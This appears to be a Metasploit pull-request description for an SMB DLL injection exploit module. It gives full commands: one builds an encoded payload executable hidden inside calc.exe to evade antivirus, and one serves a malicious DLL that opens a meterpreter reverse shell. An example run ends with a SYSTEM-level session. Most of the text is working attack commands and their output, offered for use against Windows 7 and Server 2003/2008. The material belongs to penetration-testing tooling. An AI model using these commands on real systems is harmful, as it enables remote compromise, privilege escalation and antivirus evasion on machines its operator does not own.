Add SMB DLL Injection Server

This module uses  the SMBFileServer mixin to perform DLL injection over SMB.

Exploitation can be performed by starting the dllinjector exploit
which will remain resident until a DLL is downloaded and a session
created. By generating an executable using the windows/loadlibrary
payload it is possible to test the SMBServer mixin on various platforms,
but also serves as a novel injection method where LoadLibrary calls are
not being filtered by Antivirus or EMET.

### Example Run ###
```
 # msfcli exploits/windows/smb/dllinjector PAYLOAD=windows/meterpreter/reverse_tcp SHARE=share DLL=exploit.dll LHOST=172.32.255.1 LPORT=4444 SRVHOST=172.32.255.1 E
 [*] Initializing modules...
 PAYLOAD => windows/meterpreter/reverse_tcp
 SHARE => share
 DLL => exploit.dll
 LHOST => 172.32.255.1
 LPORT => 4444
 SRVHOST => 172.32.255.1
 [*] Started reverse handler on 172.32.255.1:4444
 [*] Generating our malicious dll...
 [*] Starting SMB Server on: \\172.32.255.1\share\exploit.dll
 [*] Sending stage (769536 bytes) to 172.32.255.128
 [*] Meterpreter session 1 opened (172.32.255.1:4444 -> 172.32.255.128:1186) at 2014-04-24 11:18:55 +0100
 meterpreter > getsystem
 ...got system (via technique 1).
 meterpreter > getuid
 Server username: NT AUTHORITY\SYSTEM
```

### Reproduction Steps ###
* Generate dllinjector executable (non-malicious)
``` 
msfpayload windows/loadlibrary DLL="\\\\1.2.3.4\\share\\exploit.dll" R | msfencode -b '\x00' -t exe -x calc.exe -k -o dllinjector.exe -e x86/shikata_ga_nai -c 3
```
* Run DLL Injection server
``` 
msfcli exploits/windows/smb/dllinjector PAYLOAD=windows/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=4444 SRVHOST=1.2.3.4 SHARE=share DLL=exploit.dll E
```
* Execute dllinjector.exe on the target host
* Monitor the generated traffic in Wireshark
* Enjoy shells.

### Verification ###
Land #3074
Land #3075
Generate loadlibrary executable
Load dllinjector with payload
Run executable on target

### Tested on ###
Windows 7 (x86/x64)
Windows Server 2003
Windows Server 2008